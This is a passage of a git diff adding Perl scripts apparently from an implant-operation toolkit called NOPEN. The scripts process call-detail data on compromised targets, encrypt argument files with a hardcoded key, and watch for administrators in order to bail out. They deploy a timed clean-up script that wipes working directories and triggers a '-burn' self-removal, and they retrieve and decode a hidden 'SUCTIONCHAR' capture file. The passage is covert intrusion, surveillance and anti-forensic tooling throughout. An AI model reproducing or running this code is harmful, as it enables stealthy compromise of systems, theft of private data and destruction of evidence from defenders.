-f $crypttool and -x _ and -s _)) { + ($ans,$crypttool) = mygetinput("What local cryptTool should we use (or enter ABORT)?"); + mydie("User aborted") if $crypttool eq "ABORT"; + } + progprint($COLOR_NORMAL."\n\nUsing local tool $crypttool"); + + #for i in argfile* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k da27cfbedb0d188a56d97ccccf4aa11e -b ; done + + ($cdroutput,$cdrnopenlines,@cdroutput) = doit("-ls -d $workdirparent/awk"); + my $uploadawk = 1; + if ($cdroutput) { + ($ans) = mygetinput + ("awk is already in $workdirparent.\n". + "Is that the correct argfile?","Y"); + if ($ans eq "y") { + $uploadawk = 0 ; + } else { + doit("-rm $workdirparent/awk"); + } + } + if ($uploadawk) { + # Now the argfiles. Encrypt any not ending in .enc, + # touch to same time as original. + $listing = `find $opdir/ -type f -ls | lss | grep -i argfile | sed "s/.*root //g"`; + dbg("find $opdir/ -type f -ls | lss | grep -i argfile | sed \"s/.*root //g\" + +argfile listing=$listing="); + my @tmp = split(/\n/,$listing); + my ($encryptedcount,$cleartext) = (); + foreach (grep !/enc$/,@tmp) { + ($argfile) = m,\s\d+:\d\d\s(/.*),; + my $newfile = $argfile; + $newfile =~ s/\.txt$//; + $newfile .= ".enc"; + $encryptedcount++; + $cleartext .= ":::::::::::::: ${argfile} BEGIN\n". + `cat $argfile`.":::::::::::::: ${argfile} END\n"; + dbg("Running: $crypttool -i $argfile -o $newfile -k $cryptkey -b +". `$crypttool -i $argfile -o $newfile -k $cryptkey -b 2>&1`); + + `$crypttool -i $argfile -o $newfile -k $cryptkey -b`; + `touch -r $argfile $newfile`; + } + $listing = `find $opdir/ -type f -ls | lss | grep -i argfile.*enc\$ | sed "s/.*root //g"`; + @tmp = split(/\n/,$listing); + ($argfile) = $tmp[$#tmp] =~ m,\s\d+:\d\d\s(/.*),; + if (!($argfile =~ /enc$/)) { + ($argfile) = $tmp[$#tmp - 1] =~ m,\s\d+:\d\d\s(/.*),; + } + $listing .= "\n\n" if $listing; + $listing = "Cleartext Argfiles:\n$cleartext\n\n$listing" + if $cleartext; + + $listing .= "(Just encrypted $encryptedcount argfiles)\n\n" + if $encryptedcount; + ($ans,$argfile) = mygetinput + ($listing. + "Argfile to use?",$argfile); + } + offerabort("Last chance to abort before processing begins."); + if ($parser) { + mydie("Parser ($parser) and argfile ($argfile)\n". + "must exist locally and be non-empty:\nls -al $parser $argfile\n". + `ls -al $parser $argfile`) + unless (-f $parser and -s $parser and + -f $argfile and -s $argfile); + } + + ($predfoutput,$predfavail,$predfpct,@predfoutput) = mydfcheck($workdirparent); + + if ($uploadawk) { + mydie("Argfile ($argfile)\n". + "must exist locally and be non-empty:\nls -al $argfile\n". + `ls -al $argfile`) + unless (-f $argfile and -s $argfile); + my $test = `file $argfile | grep -i ascii`; + mydie(".\n\nfile $argfile\n$test\n\nArgfile cannot be ascii.") + if (length $test > 4); + doit("-put $argfile $workdirparent/awk"); + } + doit("-put $parser $workdirparent/$runas"); + +} #myinit + +sub mydfcheck { + local ($path) = (@_); + my ($dfoutput,$nopenlines,@dfoutput) = doit("=df $path"); +dbg("dfoutput=(\n".join("\n",@dfoutput)."\n)"); + my $index = findindex("avail",split(/\s+/,$dfoutput[0])); + for (my $i=0;$i<@dfoutput;$i++) { + next if ($dfoutput[$i] =~ /avail/i); + if (!($dfoutput[$i] =~ /^\/.*\d+\s+\d+\s+\d+\s+\d+\%/) and + ($dfoutput[$i+1] =~ /^\s+\d+\s+\d+\s+\d+\s+\d+\%/) ) { + $dfoutput[$i] .= " ".$dfoutput[$i+1]; + $dfoutput[$i+1] = ""; + } + } +dbg("AFTER dfoutput=(\n".join("\n",@dfoutput)."\n)"); + @dfoutput = grep !/filesystem/i, grep /\%/,@dfoutput; + $dfoutput = join("\n",@dfoutput); + my ($dfpct) = $dfoutput =~ /(\d+)\%/; + my @tmp = split(/\s+/,$dfoutput[$#dfoutput]); + my $dfavail = $tmp[$index]; +dbg("tmp=(\n".join("\n",@tmp)."\n) and index=$index"); +dbg("mydfcheck(@_) return($dfoutput,$dfavail,$dfpct,@dfoutput);"); + return($dfoutput,$dfavail,$dfpct,@dfoutput); +} + +sub watchbail { + local ($psregexp) = (@_); + my $touchfile = "$opdir/BAILNOW"; + my $stopfile = "$opdir/STOPWATCH"; + if (-e $touchfile or -e $stopfile) { + offerabort(`ls -al $stopfile $touchfile 2>/dev/null`."\n". + "We only just got started, and the above file(s) already exists.\n". + "If you continue here, it will be deleted so we can start our watch"); + unlink($stopfile,$touchfile); + } + my $prompt = + "This watch mode $prog will recommend you bail if any of the\n". + "following happen:\n\n". + " * someone logs in\n". + " * the local file $touchfile exists\n". + " * it sees TWO or more ps commands running (not just us)\n". + "\n". + "To force cleanup for all instances of $prog using a working directory\n". + "beneath $workdirparent, you can LOCALLY execute the touch below\n\n". + "Bailing will entail executing the following on target:\n\n". + " rm -rf $workdirparent\n". + " -burn\n\n". + "Note, you will have to answer \"BURN\" to the -burn prompt to complete\n". + "the bail process."; + my ($localcup,$contents) = + buildcup($workdirparent,$cupname,$cupsleep); + + my $testsecs = $cupsleep - 1; + my $origprompt = $prompt; + # Cannot be in the dir you run rm -rf from. + $contents .= "$COLOR_FAILURE\n". + "NOTE: We prefer the \"bash\" shell, but apparently that is not in\n". + " your path (and not in /usr/local/bin either). Make sure the\n". + " CUP script runs without error.$COLOR_NORMAL\n\n" + unless ($contents =~ m,/bash,); + ($ans) = offerabort + (#".\n\n". + "CUP (clean-up) script that will be deployed as $cupname:\n\n". + $contents."\n\n". + "If you continue here, this watch/bail mode $prog will upload/execute\n". + "the above shell script. Watch its output, be sure the script indicates\n". + "the number of seconds as $testsecs. This will confirm the script is\n". + "counting down from $cupsleep properly.\n". + ""); + nopenaddpath($workdirparent); + doit("-put $localcup $workdirparent/$cupname"); + ($output) = doit("$cupname &"); + unless ($output =~ /you have $testsecs/) { + doit("rm $workdirparent/$cupname"); + mydie(".\n\nCup script did not run properly\n". + "(\"you have $testsecs\" line not seen)\n\n". + "GET HELP"); + } + sleep 2; + doit("-cd /tmp"); + my ($usercount,$usercountold,$burnit) = (); + while (!$burnit) { + my $ans = ""; + while (1) { + $ans = ""; + my @pshits = (); + last if -f $touchfile; + my ($wps,,@wps) = doit("=ps ; w"); + my (@w,@ps,$pscount) = (); + foreach (@wps) { + if (/users*,\s.*load av/) { + push(@w,$_); + next; + } + if (@w) { + push(@w,$_); + } else { + push(@ps,$_); + $pscount++ if m,[ /]ps ,; + if ($psregexp and /$psregexp/) { + push(@pshits,$_); + } + } + } + $prompt .= "\n\n" if $prompt; + $prompt .= " BAIL with this touch: touch $touchfile\n". + " Halt watch with this: touch $stopfile\n\n". + "local time ".gmtime()." GMT:$COLOR_FAILURE Next =ps/w in $checkdelay seconds..."; + progprint($COLOR_NORMAL."\n\n". + $prompt) ; + $prompt = ""; + $usercount = @w - 2; + if ($usercount != $usercountold or $pscount > 1 or @pshits) { + my $more = ""; + $more .= "\n\nA new user logged in." + if ($usercount > $usercountold); + $more .= "\n\nMORE THAN ONE ps COMMAND IS BEING RUN!!!" + if $pscount > 1; + $more .= "\nFound match to /$psregexp/ in =ps output:\n". + join("\n",@pshits)."\n\n" + if @pshits; + alertwindow(555); + ($ans) = mygetinput + ($COLOR_FAILURE."\n\n". + $more. + "Do you want to bail now?","Y" + ); + } + $usercountold = $usercount; + last if ($ans eq "y" or -f $touchfile); + unlink($touchfile); + $prompt = $origprompt if $ans; + my $delay = $checkdelay; + while ($delay--) { + last if (-f $touchfile); + if (-f $stopfile) { + unlink($stopfile); + mydie("STOPPING WATCH PROCESS. Be careful!"); + } + sleep 1; + } + } + unlink($touchfile); + progprint($COLOR_FAILURE."\n". + "BAILING NOW! If you ^C this window before 3 seconds elapse, you can\n". + " avoid the rm -rf $workdirparent and the -burn (but you\n". + " should then rerun a $prog -W in watch/bail mode)."); + alertwindow(); + sleep 3; + $burnit++; + } + doit("rm -rf $workdirparent","-burn"); + mydie(".\n\nYou did not type BURN!!\n". + "The $workdirparent directory is GONE, but you are STILL ON!"); +}# watchbail + +sub alertwindow { + return if fork(); + local ($delay) = (@_); + close(STDOUT); + close(STDERR); + close($socket); + $delay = 8888 unless $delay > 0; + exec("1x -geometry 91x68-0+0 -e beeps $delay"); +} + +sub getverboseopt { + local($whatbin) = (@_); + my $val = eval "\$${whatbin}opts"; + return $val if length($val); + return "" unless ($socket and $whatbin); + my ($output,,@output) = doit("man $whatbin"); + my ($verboseline) = grep /[-]{1,2}v.*erbose/i,@output; + if ($verboseline =~ /([-]{1,2}v\S*)/i) { + $val = " $1"; + } else { + $val = " "; + } + newhostvar("${whatbin}opts",$val); + return $val; +} + +sub buildcup { + # Take inputs, build cup script from them in $opup, + # return full path to new script. + local($wipedir,$scriptname,$delaysecs) = (@_); + my $contents = ""; + my $cupscript = "$opup/cup.getcdrhitsgz"; + $scriptname = "$wipedir/$scriptname" unless $scriptname =~ m,^/,; + preservefile($cupscript); + # We prefer bash + my ($output) = nopenlss("-UPQ","bash"); + my ($shell) = $output =~ m, (/.*bash),; + unless ($shell) { + nopenaddpath("/usr/local/bin:/usr/local/sbin"); + ($output) = nopenlss("-UPQ","bash"); + ($shell) = $output =~ m, (/.*bash),; + } + $shell = "/bin/sh" unless ($shell); + open(CDROUT,">$cupscript") or mydie("Cannot write to $cupscript"); + $contents = "#!$shell +cd / +rm $scriptname +trap : TERM +COUNT=$delaysecs +CLOSED=\"\" +while [ 1 ] ; do + COUNT=\$((COUNT-1)) + [ \"\$CLOSED\" ] || echo you have \$COUNT seconds until cleanup + [ \"\$CLOSED\" ] || exec >&- 2>&- + CLOSED=yes + [ \$COUNT -gt 0 ] || break + [ -d $wipedir ] || break + sleep 1 +done +rm -rf $wipedir +"; + print CDROUT $contents; + close(CDROUT); + return ($cupscript,$contents); +} + +sub setusagetext { + return " +Usage: $prog [options] + +$prog copies the compressed cdr data stored in .gz files to a +temporary directory on target, and uncompress/parses them. To split the load, +run multiple instances of $prog, each with a different -d wdir +working directory, and each with different (NOT OVERLAPPING) dates. (Note: If +you just omit the -d option, a new working directory is created anyway, so +just do that.) + +$prog prompts for the parser and argfile to use. The default argfile +is the most current file containing \"argfile\" (case insensitive) in $opdir. + +$prog also has a -W (keep watch) mode, which does no collection. It +monitors the target =ps and w, looking for problems (e.g., admin logging in). +If the -W instance of $prog sees a problem, or if you touch the +local file indicating you see a problem, you will be asked in a prompt whether +to bail or not. If you choose to bail, the watch mode instance will remove the +working directory(ies) in use by the other instances and issue a -burn command. +You will then have to answer BURN to commit to the -burn. The -w/W watch mode +instance of $prog also deploys a cup (clean-up) script. This script +sleeps 2.5 hours (by default), after which it wipes our work directory's +parent dir (e.g., /tmp/.yada). This script exits when the parent directory +is gone, so when you clean up manually the script dies on its own. + +OPTIONS $COLOR_FAILURE\[default, if any, in brackets]$COLOR_NORMAL + + -h/-v Show this help/version + -W Watch / bail mode. + -w str Watch / bail mode, look for regexp \"str\" in =ps output + -c name Name of CUP script the watch mode deploys $COLOR_FAILURE\[$def_c]$COLOR_NORMAL + -s secs Countdown after which CUP FIRES, removing recursively + all of wdir's parent $COLOR_FAILURE\[$def_s]$COLOR_NORMAL + -S delay Delay between checks in watch/bail mode $COLOR_FAILURE\[$def_S]$COLOR_NORMAL + -r str Run the parser as \"str\" $COLOR_FAILURE\[$def_r]$COLOR_NORMAL + -E ext Extension used on data file listings $COLOR_FAILURE\[$def_E]$COLOR_NORMAL + (use \"NONE\" to use * instead of a fixed extension) + -l maskfile File containing list of PATH masks to use + (blank/#comment lines ignored) $COLOR_FAILURE(-l or -L is required)$COLOR_NORMAL + -L mask List of PATH masks to use, with letters for year, month, day + (\",,\" delimited, no whitespace, wildcard \"*\" OK). E.g.: + /remotepath/to/data/dir.YYYYMM/name*YYYYMMDD* + Each such path is processed for the range of dates + provided via -m/-M options. (-l or -L is required) + -m MINDATE Earliest day to process, in YYYYMMDD format $COLOR_FAILURE(required)$COLOR_NORMAL + -M MAXDATE Latest day to process, in YYYYMMDD format (defaults to + same as MINDATE if not provided) + -b exprs Blacklist: $prog will NOT process files matching + these regular expressions (skip files that match), for each + expr given (\",,\" delimited, no whitespace) + -d wdir Working directory on target. Defaults to the next NEW + subdirectory in NOPEN's CWD. This wdir AND ITS PARENT WILL + be wiped, so it should be ours to begin with. The wipe + is done either manually when done or automatically by the + -W/watch instance of $prog when we bail. + -C # Number of .gz files to process at a time. $COLOR_FAILURE\[$def_C]$COLOR_NORMAL + -k key Used for auto decryption of data. (Must use the same key + parser is running with, must be all hex) $COLOR_FAILURE(required)$COLOR_NORMAL + -K key \"Special\" key for parser $COLOR_FAILURE(required)$COLOR_NORMAL + -T proj Project name; if used, will tar/push pulled collection + +Usage: $prog [options] + +"; +} +__END__ + +oooo...cool. Have the watch instance upload/execute this baby, with time configurable and dir right and all..... + +#!/bin/sh +DIR=/tmp/.scsi +cd / +rm $wipedir/procclean +trap : TERM +COUNT=7200 +CLOSED="" +while [ 1 ] ; do + sleep 1 + COUNT=\\\$((COUNT-1)) + echo COUNT decremented by one is $COUNT + [ "\\\$CLOSED" ] || exec >&- 2>&- + CLOSED=yes + [ \\\$COUNT -gt 0 ] || break + [ -d $wipedir ] || break +done +rm -rf $wipedir diff --git a/Linux/etc/autogethashes b/Linux/etc/autogethashes new file mode 100755 index 0000000..523504c --- /dev/null +++ b/Linux/etc/autogethashes @@ -0,0 +1,142 @@ +#!/usr/bin/env perl + +$VER="1.0.0.2" ; +$| = 1 ; + +my @hashpaths = (); +my @lsslist = (); +my @sha1list = (); +my %hashes = (); +my ($hashcount,$proccount) = (); +my $retrievepid = 0; + +myinit(); + +my $hashstore = "$opdown/hashes.$nopen_rhostname"; +preservefile($hashstore); + +sub gethashes { + # This section should also work on AIX targets that set $aixtarget, but + # on some AIX targets, it hangs when it runs -sha1sum on everything... + if ($solaristarget) { + # Hard links to the binaries are stored in /proc/$pid/object/a.out + ($lsslist,$nopenlines,@nopenoutput) = nopenlss("-UQ","/proc/*/object/a.out"); + @lsslist = split /\n/, $lsslist; + foreach (@lsslist) { + # Strip off the rest of the -ls output and give only the filename. + push (@hashpaths,$1) if /-.*\s(\/.*\/a\.out)$/; + } + } + elsif ($linuxtarget) { + # Symbolic links to the binaries are stored in /proc/$pid/exe + ($lsslist,$nopenlines,@nopenoutput) = nopenlss("-UQ","/proc/*/exe"); + @lsslist = split /\n/, $lsslist; + foreach (@lsslist) { + # Strip off the rest of the -ls output and the symlink destinations and give + # only the filename. + push(@hashpaths,$1) if /l.*\s(\/.*\/exe)\s--\s\/.+$/; + } + } + elsif ($freebsdtarget) { + # Symbolic links to the binaries are stored in /proc/$pid/file + ($lsslist,$nopenlines,@nopenoutput) = nopenlss("-UQ","/proc/[0-9]*"); + @lsslist = split /\n/, $lsslist; + foreach (@lsslist) { + # Strip off the rest of the -ls output and the symlink destinations and give + # only the filename. + push(@hashpaths,$1) if /l.*\s(\/.*\/file)\s--\s\/.+$/; + } + } + else { + mydie("This script does not yet support this platform\n"); + } + $proccount = scalar @hashpaths; + + # Iterate over our file list and get the hashes. + ($sha1hash,$nopenlines,@nopenoutput) = doit("-sha1sum @hashpaths"); + @sha1list = split /\n/, $sha1hash; + + foreach (@sha1list) { + my ($hash,$datestr,$path) = /^[-+]\s([0-9A-F]+)\s(.+)\s(\/proc\/\S+).*$/; +#dbg("in autogethashes, hash =$hash=, datestr =$datestr=, path =$path=\n"); + next unless length $hash; + push @{ $hashes{$hash} }, $path; + } + $hashcount = keys %hashes; +} + +sub storehashes { + open(HASHSTORE, "> $hashstore") or mydie("Unable to open hash store at $hashstore: $!"); + foreach (keys %hashes) { +#dbg("in autogethashes, hash entry written to file: $_: @{ $hashes{$_} }\n"); + print HASHSTORE "$_: @{ $hashes{$_} }\n"; + } + close(HASHSTORE); +} + +gethashes(); + +progprint("Complete.\n\n". + "Number of processes examined: $proccount\n". + "Number of hashes generated: $hashcount\n\n". + "Hashes have been stored to $hashstore"); + +storehashes(); + +# End with true value as we may someday require this script elsewhere. +1; + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + # $calleddirect is set if + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs gethashes @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs gethashes" ; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless $nopen_rhostname; + } + clearallopts(); + mydie("bad option(s)") if (! Getopts( "hvp:" ) ) ; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"$prog\" is used. + +"; + $gsusagetext=" + +Usage: $prog [-h] (prints this usage statement) + $prog [-p pid] + +$prog retrieves SHA-1 hashes for all of the currently running processes on the +system. On systems that support /proc, it iterates over each entry in the process +list and calls the builtin -sha1sum command on each binary linked in that entry. +Once all of the hashes are collected, they are stored locally in the filesystem +and sent uphill for processing. + + OPTIONS + + -h show this usage statement + -v show version number + -p pid retrieve the SHA-1 hash of the program running as this PID + (CURRENTLY UNSUPPORTED) + +"; + usage() if ($opt_h or $opt_v) ; + $retrievepid = $opt_p; + $socket = pilotstart(quiet) unless $socket; +} #myinit diff --git a/Linux/etc/autogetinput b/Linux/etc/autogetinput new file mode 100755 index 0000000..9212769 --- /dev/null +++ b/Linux/etc/autogetinput @@ -0,0 +1,133 @@ +#!/usr/bin/env perl + +use File::Basename ; +use File::Copy ; +require Time::Local; +require "getopts.pl"; +$VER="1.0.1.8" ; +myinit() ; +if ($promptfile) { + if (open(GETINPUTIN,$promptfile)) { + while() { + $prompt .= $_; + } + close(GETINPUTIN); + } else { + $prompt = "UNABLE TO FIND PROMPT CONTENT FROM =$promptfile="; + } + ($default,@allowed) = @ARGV; +} else { + if ($ENV{PROMPT}) { + $prompt = $ENV{PROMPT}; + } else { + $prompt = shift(@ARGV); + } +} +if ($ENV{DEFAULT}) { + $default= $ENV{DEFAULT}; +} else { + $default = shift(@ARGV); +} + +foreach (@ARGV) { + if ($_ eq "ANYTHING") { + $allowanything++; + next; + } + push(@allowed,$_); +} +push(@allowed,split(/\s+/,$ENV{ALLOWED})) if $ENV{ALLOWED}; +$allowanything++ if (grep /^ANYTHING$/,@allowed); + +usage() unless $prompt ; +$prompt =~ s/\\n/\n/g; +$prompt =~ s/\\t/\t/g; +$prompt =~ s/NNLL/\n/g; +$prompt =~ s/DQ/\"/g; +my $colors = $prompt =~ /(COLOR(RED|GREEN|YELLOW|BLUE|NORMAL))/; +$prompt =~ s/COLORRED/${COLOR_FAILURE}/g; +$prompt =~ s/COLORGREEN/${COLOR_SUCCESS}/g; +$prompt =~ s/COLORYELLOW/${COLOR_WARNING}/g; +$prompt =~ s/COLORBLUE/${COLOR_NOTE}/g; +$prompt =~ s/COLORNORMAL/${COLOR_NORMAL}/g; +my $endcolor = ""; +$endcolor = $COLOR_NORMAL if $colors ; +$prompt = "\n\n\n$prompt$endcolor"; +select ANSWER; +print getinput($prompt,$default,@allowed); +print "\n"; +close(ANSWER); +select STDOUT; +unlink($promptfile); +dbg("Leaving autogetinput(@ARGV)"); + +sub getinput { + local($prompt,$default,@allowed) = @_; + local($ans,$tmp,%other) = (); + $other{"Y"} = "N" ; $other{"N"} = "Y" ; + if ($other{$default}) { + push(@allowed,$other{$default}) ; + } + $tmp = $default; + if (chop($tmp) eq " ") { + #damn ^M's in script files + $default = $tmp; + } + SUB: while (1) { + print STDERR $prompt; + if ($default) { + print STDERR " [$default] "; + } else { + print STDERR " "; + } + system ("stty -echo") if $notty; + chomp($ans = ); + if ($notty) { + system ("stty echo"); + print STDERR "\n"; + } + $ans = $default if ( $ans eq "" ); + last SUB if ($allowanything or $#allowed < 0) ; + foreach ($default,@allowed) { + last SUB if $ans =~ /^$_/i ; + } + print STDERR "\n\a${COLOR_FAILURE}Invalid response \"$ans\".\n$COLOR_NORMAL\n"; + sleep 1; + } + return $ans; +} # getinput + +sub myinit { + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + + $vertext = "$prog version $VER\n" ; + $usagetext="$COLOR_NOTE +Usage: $prog \"prompt\" [ Default [ Others ] ] +Usage: $prog -O OUTPUTFILE -P PROMPTFILE [ Default [ Others ] ] +$COLOR_NORMAL +$prog echos the \"prompt\" to the user, accepts a single line of +input from them, then writes that input to the file OUTPUTFILE. + +The \"prompt\" can contain the tags \"NNLL\" and/or \"DQ\", which $prog +replaces with a newline and double quote, respectively. Similarly, +the tags$COLOR_FAILURE RED,$COLOR_SUCCESS GREEN,$COLOR_WARNING YELLOW,$COLOR_NOTE BLUE and$COLOR_NORMAL NORMAL will change the color +of text following that tag. + +$prog is meant to be called from automated NOPEN scripts that +use the new NOPEN_AUTOPORT functionality to allow user interaction. + +"; + die("bad option(s)\n") if (! Getopts( "hvP:O:TA" ) ) ; + usage() if ($opt_h or $opt_v) ; + $notty = $opt_T; + $promptfile = $opt_P + if (-s $opt_P and -r _); + $outputfile = $opt_O; + $allowanything = $opt_A; + preservefile($outputfile); + open(ANSWER,"> $outputfile") or die "Unable to open $outputfile: $!\n"; +} #myinit diff --git a/Linux/etc/autogetnewsuc b/Linux/etc/autogetnewsuc new file mode 100755 index 0000000..1055efb --- /dev/null +++ b/Linux/etc/autogetnewsuc @@ -0,0 +1,298 @@ +#!/usr/bin/env perl +## NOPEN autoport script to get/remove/Decode the hidden suctionchar file +$VER="1.2.0.6" ; +use File::Basename ; +myinit(); +my $skiprest=0; +my $size = 0; +my $gotversion3 = 0; +my $gotversion32 = 0; +my $metafile = "$opsniff/suctionchar.metadata.txt"; +my $sucoutfile = "$opsniff/suctionchar.output.txt"; +############################# +# Find the file +############################# + +dofindsuc(); + +dogetsuc() unless $skiprest; +# End with true value as we require this script elsewhere. +1; + +sub gotversion3plus { + return 1 if ($gotversion3 or $gotversion32); + return 0; +} + +sub dofindsuc { + my @hiddendirs = (); + my ($hiddendir,$safehiddendir) = gethiddendir(1,0,\@hiddendirs); + if (!$sucfile and !$hiddendir) { + progprint("${COLOR_FAILURE}Could not find hidden dir...are you elevated?${COLOR_NORMAL}"); + $skiprest=1; + return 0; + } + #0db63698b49411aa5234dd83d035239c is the PID file for v. 3.2.x.x and better. + my ($version32,$nopengot32,@version32) = doit("-ls $safehiddendir*/a0b973925e397d9acd80e85e2eaa6e60/0db63698b49411aa5234dd83d035239c"); + $gotversion32++ if ($version32 =~ /0db63698b49411aa5234dd83d035239c/); + + unless ($sucfile) { + foreach $thishiddendir (@hiddendirs,".") { + my $safehiddendir = $thishiddendir; + if ($thishiddendir =~ m,/([^/][^/][^/]+),) { + chop($safehiddendir); + chop($safehiddendir); + $safehiddendir .= "*"; + } + ($output,$nopenlines,@output) = doit("-ls $safehiddendir/a0b973925e397d9acd80e85e2eaa6e60/d5373a14*"); + ($size,$mon,$sucfile) = $output =~ m,-.*(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec).* (\S*/d53\S*),; + last if $sucfile; + } + } else { + ($output,$nopenlines,@output) = doit("-ls $sucfile"); + ($size,$mon,$sucfile) = $output =~ m,-.*(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec).* (\S*/d53\S*),; + #-rw------- 1 root root 1201 Apr 2 21:31 2008 /var/tmp/.42d0a64ce836d9db/d5373a146ff9f200a2376054dde25676 + } + unless ($sucfile) { + # So there's no sign of a version 3 collection file; try looking for version 2 + foreach my $thishiddendir (@hiddendirs,".") { + my $safehiddendir = $thishiddendir; + if ($thishiddendir =~ m,/([^/][^/][^/]+),) { + chop($safehiddendir); + chop($safehiddendir); + $safehiddendir .= "*"; + } + ($output,$nopenlines,@output) = doit("-ls $safehiddendir/d5373a14*"); + ($size,$mon,$sucfile) = $output =~ m,-.*(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec).* (\S*/d53\S*),; last if $sucfile; + } + } + + unless ($gotversion32) { + $gotversion3++ if ($sucfile =~ /77$/ or + $sucfile =~ /77.\d\d\d\d-\d\d-\d\d/ or + $sucfile =~ /77.\d\d\d\d\d\d\d\d/); + } + $hiddendir = " in:\n ". + join("\n ",@hiddendirs)."\n ". + join("/a0b973925e397d9acd80e85e2eaa6e60\n ",@hiddendirs). + "/a0b973925e397d9acd80e85e2eaa6e60"; + $hiddendir = " $opt_f" if $opt_f; + if (!($sucfile)) { + progprint("${COLOR_FAILURE}Cannot find SUC file $sucfile$hiddendir${COLOR_NORMAL}"); + $skiprest=1; + return 0; + } + return $size; +} + +############################# +# -get the file +############################# +sub dogetsuc { + my $dotfile = dotdotpathforfile($sucfile); + $dotfile = $sucfile unless ($sucfile =~ m,^/,); + my $localfile = "$opdown/NOSEND/$nopen_rhostname$sucfile"; + my $remotedir = dirname($sucfile); + nopenlss("-GrUNDYLNOSEND$remotedir",$sucfile); + + my $size = -s $localfile; + $localfile =~ s,/([^/]*)/../([^/]*),/\2,g; + $localfile =~ s,/+,/,g; + unless ($localfile and $size > 0) { + mywarn("-get seemed to fail, no local file $localfile"); + return 0; + } + #dbg("$output\nlocalfile=$localfile"); + +############################# +# Decode the file locally +############################# + mkdir($opsniff) unless (-d $opsniff); + my $localdir = dirname $localfile; + my $shortname = basename $localfile; + # If we got a version 3 collection file, use that tool instead. + my $decodetool = "Decode"; + $decodetool = "Decode33" if (gotversion3plus()); + ($output,$nopenlines,@output) = doit("-lsh [ -f /current/tmp/$nopen_mypid.namefix ] && source /current/tmp/$nopen_mypid.namefix ; cd \"$localdir\" ; $decodetool $shortname 2>&1 | tee -a $sucoutfile 2>&1"); + my $checkstring = "found header for"; + $checkstring = "^Creating file" if (gotversion3plus()); + my (@results) = grep /$checkstring/ , @output; + unless (@results or + ($gotversion3 and $size == 154) or + ($gotversion32 and $size > 0) + ) { + my ($emptymore,$mayhave) = (); + unless (@results) { + $emptymore = "\n\nThis may not be a failure, however.\n\n". + "But no output usually comes with size 154, this was size $size."; + $mayhave = "may have"; + } + $nostdout++; + mymywarn("SUCTIONCHAR Decode failed:\n".$COLOR_FAILURE. + "===\nsize=$size=\n". + "$output\n". + "===\n". + "SUCTIONCHAR Decode$mayhave failed".$COLOR_NORMAL. + $emptymore + ); + $nostdout--; + } else { + my $more = ""; + $more = "${COLOR_FAILURE}EMPTY SUCv3 file (154 bytes). No data.\n\n" + if ($size == 154); + progprint(".\n\n$more\n${COLOR_SUCCESS}Good!$COLOR_NORMAL Output looks ok."); + sleep 3 unless $more; + } + + # We crush any old copy, no need to log more than once. + open(OUT2,"> $opdown/gotsuc.$nopen_rhostname"); + open(OUT3,"> $optooldir/suctionchar.txt"); + my $version = "2.0"; + $version = "3.0" if $gotversion3; + $version = "3.2" if $gotversion32; + print OUT2 my $content = " +-- +Tool: SUCTIONCHAR +Version: $version +Usage: EXERCISED +Tool Status: SUCCESS +Implant IP: $nopen_myip + +"; + close(OUT2); + print OUT3 $content; + close(OUT3); + +############################# +# Clean up local filenames +############################# + unless (opendir(DIR,$localdir)) { + mywarn("Could not opendir $localdir"); + return 0; + } + my $pattern = "/^\[/"; + $pattern = "/^\d{14}_(.*)$/" if (gotversion3plus()); + # Open the metadata.txt file. + unless(open(METAOUT,"> $metafile")) { + mywarn("Could not open metadata file $metafile"); + return 0; + } + foreach my $capfile (grep $pattern , readdir DIR) { +# dbg("in autogetnewsuc, capfile = =$capfile="); + my ($cmd,$day,$daystr,$monstr,$mday,$h,$m,$s,$year,$month) = (); + ($cmd,$daystr,$monstr,$mday,$h,$m,$s,$year) = $capfile =~ + m,\[(.*)\]_\[(Mon|Tue|Wed|Thu|Fri|Sat|Sun)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d+)\s+(\d+):(\d+):(\d+)\s+(\d{4})\], unless (gotversion3plus()); + ($year,$month,$mday,$h,$m,$s,$cmd) = $capfile =~ + m,^(\d{4})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})_(\S*)$, if (gotversion3plus()); + $month = $nummon{$monstr}+1 unless (gotversion3plus()); + my $newname = sprintf("%04d_%02d_%02d_%02d%02d%02d___$cmd.txt", + $year,$month,$mday,$h,$m,$s) if $cmd; + print METAOUT "$newname\n" if $cmd; + $newname =~ s/[[:punct:]]/_/g; + $newname =~ s,[ \[\]],_,g; + $newname =~ s/_txt$/.txt/g; + rename("$localdir/$capfile","$opsniff/$newname"); + } + closedir(DIR); + close(METAOUT); + my $message = ".\n Done.$COLOR_NORMAL\n\n$COLOR_NOTE\n". + "Decoded files renamed and moved to $opsniff:$COLOR_NORMAL\n". + "ls -Al $opsniff\n". + `ls -Al $opsniff`."\n$COLOR_NOTE\n"; + my $extra = "Original pulled file still here:$COLOR_NORMAL\n". + "ls -Al \"$localdir\"\n". + `ls -Al "$localdir"`. + "\n"; + + progprint("$message$extra"); + if ($printlater) { + progprint($printlater,$COLOR_FAILURE); + } + return 1; +} + +sub mymywarn { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $color2 = $COLOR_FAILURE unless $color2 ; + + progprint($what,$color,$color2,$what2); + sleep 5; + $printlater .= $what; + $badcontent++ unless $what =~ /unable to sort by /i ; + if ($autodone) { + open(MYOUT,">> $opdir/latewarnings.$nopen_rhostname") || return ; + print MYOUT 